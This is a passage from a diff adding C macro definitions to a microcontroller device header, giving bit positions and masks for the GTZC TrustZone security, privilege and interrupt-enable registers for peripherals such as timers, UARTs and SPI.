GTZC_CFGR4_BKPSRAM_Pos (20U) +#define GTZC_CFGR4_BKPSRAM_Msk (0x01UL << GTZC_CFGR4_BKPSRAM_Pos) +#define GTZC_CFGR4_SRAM1_Pos (24U) +#define GTZC_CFGR4_SRAM1_Msk (0x01UL << GTZC_CFGR4_SRAM1_Pos) +#define GTZC_CFGR4_MPCBB1_REG_Pos (25U) +#define GTZC_CFGR4_MPCBB1_REG_Msk (0x01UL << GTZC_CFGR4_MPCBB1_REG_Pos) +#define GTZC_CFGR4_SRAM2_Pos (26U) +#define GTZC_CFGR4_SRAM2_Msk (0x01UL << GTZC_CFGR4_SRAM2_Pos) +#define GTZC_CFGR4_MPCBB2_REG_Pos (27U) +#define GTZC_CFGR4_MPCBB2_REG_Msk (0x01UL << GTZC_CFGR4_MPCBB2_REG_Pos) +#define GTZC_CFGR4_SRAM3_Pos (28U) +#define GTZC_CFGR4_SRAM3_Msk (0x01UL << GTZC_CFGR4_SRAM3_Pos) +#define GTZC_CFGR4_MPCBB3_REG_Pos (29U) +#define GTZC_CFGR4_MPCBB3_REG_Msk (0x01UL << GTZC_CFGR4_MPCBB3_REG_Pos) + +/******************* Bits definition for GTZC_TZSC1_SECCFGR1 register ***************/ +#define GTZC_TZSC1_SECCFGR1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZSC1_SECCFGR1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZSC1_SECCFGR1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZSC1_SECCFGR1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZSC1_SECCFGR1_TIM4_Pos GTZC_CFGR1_TIM4_Pos +#define GTZC_TZSC1_SECCFGR1_TIM4_Msk GTZC_CFGR1_TIM4_Msk +#define GTZC_TZSC1_SECCFGR1_TIM5_Pos GTZC_CFGR1_TIM5_Pos +#define GTZC_TZSC1_SECCFGR1_TIM5_Msk GTZC_CFGR1_TIM5_Msk +#define GTZC_TZSC1_SECCFGR1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZSC1_SECCFGR1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZSC1_SECCFGR1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZSC1_SECCFGR1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZSC1_SECCFGR1_TIM12_Pos GTZC_CFGR1_TIM12_Pos +#define GTZC_TZSC1_SECCFGR1_TIM12_Msk GTZC_CFGR1_TIM12_Msk +#define GTZC_TZSC1_SECCFGR1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZSC1_SECCFGR1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZSC1_SECCFGR1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZSC1_SECCFGR1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZSC1_SECCFGR1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZSC1_SECCFGR1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZSC1_SECCFGR1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZSC1_SECCFGR1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZSC1_SECCFGR1_USART2_Pos GTZC_CFGR1_USART2_Pos +#define GTZC_TZSC1_SECCFGR1_USART2_Msk GTZC_CFGR1_USART2_Msk +#define GTZC_TZSC1_SECCFGR1_USART3_Pos GTZC_CFGR1_USART3_Pos +#define GTZC_TZSC1_SECCFGR1_USART3_Msk GTZC_CFGR1_USART3_Msk +#define GTZC_TZSC1_SECCFGR1_UART4_Pos GTZC_CFGR1_UART4_Pos +#define GTZC_TZSC1_SECCFGR1_UART4_Msk GTZC_CFGR1_UART4_Msk +#define GTZC_TZSC1_SECCFGR1_UART5_Pos GTZC_CFGR1_UART5_Pos +#define GTZC_TZSC1_SECCFGR1_UART5_Msk GTZC_CFGR1_UART5_Msk +#define GTZC_TZSC1_SECCFGR1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZSC1_SECCFGR1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZSC1_SECCFGR1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZSC1_SECCFGR1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZSC1_SECCFGR1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZSC1_SECCFGR1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZSC1_SECCFGR1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZSC1_SECCFGR1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZSC1_SECCFGR1_USART6_Pos GTZC_CFGR1_USART6_Pos +#define GTZC_TZSC1_SECCFGR1_USART6_Msk GTZC_CFGR1_USART6_Msk +#define GTZC_TZSC1_SECCFGR1_HDMICEC_Pos GTZC_CFGR1_HDMICEC_Pos +#define GTZC_TZSC1_SECCFGR1_HDMICEC_Msk GTZC_CFGR1_HDMICEC_Msk +#define GTZC_TZSC1_SECCFGR1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZSC1_SECCFGR1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZSC1_SECCFGR1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZSC1_SECCFGR1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZSC1_SECCFGR1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZSC1_SECCFGR1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZSC_SECCFGR2 register ***************/ +#define GTZC_TZSC1_SECCFGR2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZSC1_SECCFGR2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZSC1_SECCFGR2_FDCAN2_Pos GTZC_CFGR2_FDCAN2_Pos +#define GTZC_TZSC1_SECCFGR2_FDCAN2_Msk GTZC_CFGR2_FDCAN2_Msk +#define GTZC_TZSC1_SECCFGR2_UCPD1_Pos GTZC_CFGR2_UCPD1_Pos +#define GTZC_TZSC1_SECCFGR2_UCPD1_Msk GTZC_CFGR2_UCPD1_Msk +#define GTZC_TZSC1_SECCFGR2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZSC1_SECCFGR2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZSC1_SECCFGR2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZSC1_SECCFGR2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZSC1_SECCFGR2_TIM8_Pos GTZC_CFGR2_TIM8_Pos +#define GTZC_TZSC1_SECCFGR2_TIM8_Msk GTZC_CFGR2_TIM8_Msk +#define GTZC_TZSC1_SECCFGR2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZSC1_SECCFGR2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZSC1_SECCFGR2_TIM15_Pos GTZC_CFGR2_TIM15_Pos +#define GTZC_TZSC1_SECCFGR2_TIM15_Msk GTZC_CFGR2_TIM15_Msk +#define GTZC_TZSC1_SECCFGR2_SPI4_Pos GTZC_CFGR2_SPI4_Pos +#define GTZC_TZSC1_SECCFGR2_SPI4_Msk GTZC_CFGR2_SPI4_Msk +#define GTZC_TZSC1_SECCFGR2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZSC1_SECCFGR2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZSC1_SECCFGR2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZSC1_SECCFGR2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZSC1_SECCFGR2_I2C3_Pos GTZC_CFGR2_I2C3_Pos +#define GTZC_TZSC1_SECCFGR2_I2C3_Msk GTZC_CFGR2_I2C3_Msk +#define GTZC_TZSC1_SECCFGR2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZSC1_SECCFGR2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/******************* Bits definition for GTZC_TZSC_SECCFGR3 register ***************/ +#define GTZC_TZSC1_SECCFGR3_VREFBUF_Pos GTZC_CFGR3_VREFBUF_Pos +#define GTZC_TZSC1_SECCFGR3_VREFBUF_Msk GTZC_CFGR3_VREFBUF_Msk +#define GTZC_TZSC1_SECCFGR3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZSC1_SECCFGR3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZSC1_SECCFGR3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZSC1_SECCFGR3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZSC1_SECCFGR3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZSC1_SECCFGR3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZSC1_SECCFGR3_DCACHE1_REG_Pos GTZC_CFGR3_DCACHE1_REG_Pos +#define GTZC_TZSC1_SECCFGR3_DCACHE1_REG_Msk GTZC_CFGR3_DCACHE1_REG_Msk +#define GTZC_TZSC1_SECCFGR3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZSC1_SECCFGR3_ADC_Msk GTZC_CFGR3_ADC_Msk +#define GTZC_TZSC1_SECCFGR3_DCMI_PSSI_Pos GTZC_CFGR3_DCMI_PSSI_Pos +#define GTZC_TZSC1_SECCFGR3_DCMI_PSSI_Msk GTZC_CFGR3_DCMI_PSSI_Msk +#define GTZC_TZSC1_SECCFGR3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZSC1_SECCFGR3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZSC1_SECCFGR3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZSC1_SECCFGR3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZSC1_SECCFGR3_SDMMC1_Pos GTZC_CFGR3_SDMMC1_Pos +#define GTZC_TZSC1_SECCFGR3_SDMMC1_Msk GTZC_CFGR3_SDMMC1_Msk +#define GTZC_TZSC1_SECCFGR3_FMC_REG_Pos GTZC_CFGR3_FMC_REG_Pos +#define GTZC_TZSC1_SECCFGR3_FMC_REG_Msk GTZC_CFGR3_FMC_REG_Msk +#define GTZC_TZSC1_SECCFGR3_OCTOSPI1_Pos GTZC_CFGR3_OCTOSPI1_Pos +#define GTZC_TZSC1_SECCFGR3_OCTOSPI1_Msk GTZC_CFGR3_OCTOSPI1_Msk +#define GTZC_TZSC1_SECCFGR3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZSC1_SECCFGR3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + + +/******************* Bits definition for GTZC_TZSC_PRIVCFGR1 register ***************/ +#define GTZC_TZSC1_PRIVCFGR1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM4_Pos GTZC_CFGR1_TIM4_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM4_Msk GTZC_CFGR1_TIM4_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM5_Pos GTZC_CFGR1_TIM5_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM5_Msk GTZC_CFGR1_TIM5_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM12_Pos GTZC_CFGR1_TIM12_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM12_Msk GTZC_CFGR1_TIM12_Msk +#define GTZC_TZSC1_PRIVCFGR1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZSC1_PRIVCFGR1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZSC1_PRIVCFGR1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZSC1_PRIVCFGR1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZSC1_PRIVCFGR1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZSC1_PRIVCFGR1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZSC1_PRIVCFGR1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZSC1_PRIVCFGR1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZSC1_PRIVCFGR1_USART2_Pos GTZC_CFGR1_USART2_Pos +#define GTZC_TZSC1_PRIVCFGR1_USART2_Msk GTZC_CFGR1_USART2_Msk +#define GTZC_TZSC1_PRIVCFGR1_USART3_Pos GTZC_CFGR1_USART3_Pos +#define GTZC_TZSC1_PRIVCFGR1_USART3_Msk GTZC_CFGR1_USART3_Msk +#define GTZC_TZSC1_PRIVCFGR1_UART4_Pos GTZC_CFGR1_UART4_Pos +#define GTZC_TZSC1_PRIVCFGR1_UART4_Msk GTZC_CFGR1_UART4_Msk +#define GTZC_TZSC1_PRIVCFGR1_UART5_Pos GTZC_CFGR1_UART5_Pos +#define GTZC_TZSC1_PRIVCFGR1_UART5_Msk GTZC_CFGR1_UART5_Msk +#define GTZC_TZSC1_PRIVCFGR1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZSC1_PRIVCFGR1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZSC1_PRIVCFGR1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZSC1_PRIVCFGR1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZSC1_PRIVCFGR1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZSC1_PRIVCFGR1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZSC1_PRIVCFGR1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZSC1_PRIVCFGR1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZSC1_PRIVCFGR1_USART6_Pos GTZC_CFGR1_USART6_Pos +#define GTZC_TZSC1_PRIVCFGR1_USART6_Msk GTZC_CFGR1_USART6_Msk +#define GTZC_TZSC1_PRIVCFGR1_HDMICEC_Pos GTZC_CFGR1_HDMICEC_Pos +#define GTZC_TZSC1_PRIVCFGR1_HDMICEC_Msk GTZC_CFGR1_HDMICEC_Msk +#define GTZC_TZSC1_PRIVCFGR1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZSC1_PRIVCFGR1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZSC1_PRIVCFGR1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZSC1_PRIVCFGR1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZSC1_PRIVCFGR1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZSC1_PRIVCFGR1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZSC_PRIVCFGR2 register ***************/ +#define GTZC_TZSC1_PRIVCFGR2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZSC1_PRIVCFGR2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZSC1_PRIVCFGR2_FDCAN2_Pos GTZC_CFGR2_FDCAN2_Pos +#define GTZC_TZSC1_PRIVCFGR2_FDCAN2_Msk GTZC_CFGR2_FDCAN2_Msk +#define GTZC_TZSC1_PRIVCFGR2_UCPD1_Pos GTZC_CFGR2_UCPD1_Pos +#define GTZC_TZSC1_PRIVCFGR2_UCPD1_Msk GTZC_CFGR2_UCPD1_Msk +#define GTZC_TZSC1_PRIVCFGR2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZSC1_PRIVCFGR2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZSC1_PRIVCFGR2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZSC1_PRIVCFGR2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZSC1_PRIVCFGR2_TIM8_Pos GTZC_CFGR2_TIM8_Pos +#define GTZC_TZSC1_PRIVCFGR2_TIM8_Msk GTZC_CFGR2_TIM8_Msk +#define GTZC_TZSC1_PRIVCFGR2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZSC1_PRIVCFGR2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZSC1_PRIVCFGR2_TIM15_Pos GTZC_CFGR2_TIM15_Pos +#define GTZC_TZSC1_PRIVCFGR2_TIM15_Msk GTZC_CFGR2_TIM15_Msk +#define GTZC_TZSC1_PRIVCFGR2_SPI4_Pos GTZC_CFGR2_SPI4_Pos +#define GTZC_TZSC1_PRIVCFGR2_SPI4_Msk GTZC_CFGR2_SPI4_Msk +#define GTZC_TZSC1_PRIVCFGR2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZSC1_PRIVCFGR2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZSC1_PRIVCFGR2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZSC1_PRIVCFGR2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZSC1_PRIVCFGR2_I2C3_Pos GTZC_CFGR2_I2C3_Pos +#define GTZC_TZSC1_PRIVCFGR2_I2C3_Msk GTZC_CFGR2_I2C3_Msk +#define GTZC_TZSC1_PRIVCFGR2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZSC1_PRIVCFGR2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/******************* Bits definition for GTZC_TZSC_PRIVCFGR3 register ***************/ +#define GTZC_TZSC1_PRIVCFGR3_VREFBUF_Pos GTZC_CFGR3_VREFBUF_Pos +#define GTZC_TZSC1_PRIVCFGR3_VREFBUF_Msk GTZC_CFGR3_VREFBUF_Msk +#define GTZC_TZSC1_PRIVCFGR3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZSC1_PRIVCFGR3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZSC1_PRIVCFGR3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZSC1_PRIVCFGR3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZSC1_PRIVCFGR3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZSC1_PRIVCFGR3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZSC1_PRIVCFGR3_DCACHE1_REG_Pos GTZC_CFGR3_DCACHE1_REG_Pos +#define GTZC_TZSC1_PRIVCFGR3_DCACHE1_REG_Msk GTZC_CFGR3_DCACHE1_REG_Msk +#define GTZC_TZSC1_PRIVCFGR3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZSC1_PRIVCFGR3_ADC_Msk GTZC_CFGR3_ADC_Msk +#define GTZC_TZSC1_PRIVCFGR3_DCMI_PSSI_Pos GTZC_CFGR3_DCMI_PSSI_Pos +#define GTZC_TZSC1_PRIVCFGR3_DCMI_PSSI_Msk GTZC_CFGR3_DCMI_PSSI_Msk +#define GTZC_TZSC1_PRIVCFGR3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZSC1_PRIVCFGR3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZSC1_PRIVCFGR3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZSC1_PRIVCFGR3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZSC1_PRIVCFGR3_SDMMC1_Pos GTZC_CFGR3_SDMMC1_Pos +#define GTZC_TZSC1_PRIVCFGR3_SDMMC1_Msk GTZC_CFGR3_SDMMC1_Msk +#define GTZC_TZSC1_PRIVCFGR3_FMC_REG_Pos GTZC_CFGR3_FMC_REG_Pos +#define GTZC_TZSC1_PRIVCFGR3_FMC_REG_Msk GTZC_CFGR3_FMC_REG_Msk +#define GTZC_TZSC1_PRIVCFGR3_OCTOSPI1_Pos GTZC_CFGR3_OCTOSPI1_Pos +#define GTZC_TZSC1_PRIVCFGR3_OCTOSPI1_Msk GTZC_CFGR3_OCTOSPI1_Msk +#define GTZC_TZSC1_PRIVCFGR3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZSC1_PRIVCFGR3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + +/******************* Bits definition for GTZC_TZIC_IER1 register ***************/ +#define GTZC_TZIC1_IER1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZIC1_IER1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZIC1_IER1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZIC1_IER1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZIC1_IER1_TIM4_Pos GTZC_CFGR1_TIM4_Pos +#define GTZC_TZIC1_IER1_TIM4_Msk GTZC_CFGR1_TIM4_Msk +#define GTZC_TZIC1_IER1_TIM5_Pos GTZC_CFGR1_TIM5_Pos +#define GTZC_TZIC1_IER1_TIM5_Msk GTZC_CFGR1_TIM5_Msk +#define GTZC_TZIC1_IER1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZIC1_IER1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZIC1_IER1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZIC1_IER1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZIC1_IER1_TIM12_Pos GTZC_CFGR1_TIM12_Pos +#define GTZC_TZIC1_IER1_TIM12_Msk GTZC_CFGR1_TIM12_Msk +#define GTZC_TZIC1_IER1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZIC1_IER1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZIC1_IER1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZIC1_IER1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZIC1_IER1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZIC1_IER1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZIC1_IER1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZIC1_IER1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZIC1_IER1_USART2_Pos GTZC_CFGR1_USART2_Pos +#define GTZC_TZIC1_IER1_USART2_Msk GTZC_CFGR1_USART2_Msk +#define GTZC_TZIC1_IER1_USART3_Pos GTZC_CFGR1_USART3_Pos +#define GTZC_TZIC1_IER1_USART3_Msk GTZC_CFGR1_USART3_Msk +#define GTZC_TZIC1_IER1_UART4_Pos GTZC_CFGR1_UART4_Pos +#define GTZC_TZIC1_IER1_UART4_Msk GTZC_CFGR1_UART4_Msk +#define GTZC_TZIC1_IER1_UART5_Pos GTZC_CFGR1_UART5_Pos +#define GTZC_TZIC1_IER1_UART5_Msk GTZC_CFGR1_UART5_Msk +#define GTZC_TZIC1_IER1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZIC1_IER1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZIC1_IER1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZIC1_IER1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZIC1_IER1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZIC1_IER1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZIC1_IER1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZIC1_IER1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZIC1_IER1_USART6_Pos GTZC_CFGR1_USART6_Pos +#define GTZC_TZIC1_IER1_USART6_Msk GTZC_CFGR1_USART6_Msk +#define GTZC_TZIC1_IER1_HDMICEC_Pos GTZC_CFGR1_HDMICEC_Pos +#define GTZC_TZIC1_IER1_HDMICEC_Msk GTZC_CFGR1_HDMICEC_Msk +#define GTZC_TZIC1_IER1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZIC1_IER1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZIC1_IER1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZIC1_IER1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZIC1_IER1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZIC1_IER1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZIC_IER2 register ***************/ +#define GTZC_TZIC1_IER2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZIC1_IER2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZIC1_IER2_FDCAN2_Pos GTZC_CFGR2_FDCAN2_Pos +#define GTZC_TZIC1_IER2_FDCAN2_Msk GTZC_CFGR2_FDCAN2_Msk +#define GTZC_TZIC1_IER2_UCPD1_Pos GTZC_CFGR2_UCPD1_Pos +#define GTZC_TZIC1_IER2_UCPD1_Msk GTZC_CFGR2_UCPD1_Msk +#define GTZC_TZIC1_IER2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZIC1_IER2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZIC1_IER2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZIC1_IER2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZIC1_IER2_TIM8_Pos GTZC_CFGR2_TIM8_Pos +#define GTZC_TZIC1_IER2_TIM8_Msk GTZC_CFGR2_TIM8_Msk +#define GTZC_TZIC1_IER2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZIC1_IER2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZIC1_IER2_TIM15_Pos GTZC_CFGR2_TIM15_Pos +#define GTZC_TZIC1_IER2_TIM15_Msk GTZC_CFGR2_TIM15_Msk +#define GTZC_TZIC1_IER2_SPI4_Pos GTZC_CFGR2_SPI4_Pos +#define GTZC_TZIC1_IER2_SPI4_Msk GTZC_CFGR2_SPI4_Msk +#define GTZC_TZIC1_IER2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZIC1_IER2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZIC1_IER2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZIC1_IER2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZIC1_IER2_I2C3_Pos GTZC_CFGR2_I2C3_Pos +#define GTZC_TZIC1_IER2_I2C3_Msk GTZC_CFGR2_I2C3_Msk +#define GTZC_TZIC1_IER2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZIC1_IER2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/******************* Bits definition for GTZC_TZIC_IER3 register ***************/ +#define GTZC_TZIC1_IER3_VREFBUF_Pos GTZC_CFGR3_VREFBUF_Pos +#define GTZC_TZIC1_IER3_VREFBUF_Msk GTZC_CFGR3_VREFBUF_Msk +#define GTZC_TZIC1_IER3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZIC1_IER3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZIC1_IER3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZIC1_IER3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZIC1_IER3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZIC1_IER3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZIC1_IER3_DCACHE1_REG_Pos GTZC_CFGR3_DCACHE1_REG_Pos +#define GTZC_TZIC1_IER3_DCACHE1_REG_Msk GTZC_CFGR3_DCACHE1_REG_Msk +#define GTZC_TZIC1_IER3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZIC1_IER3_ADC_Msk 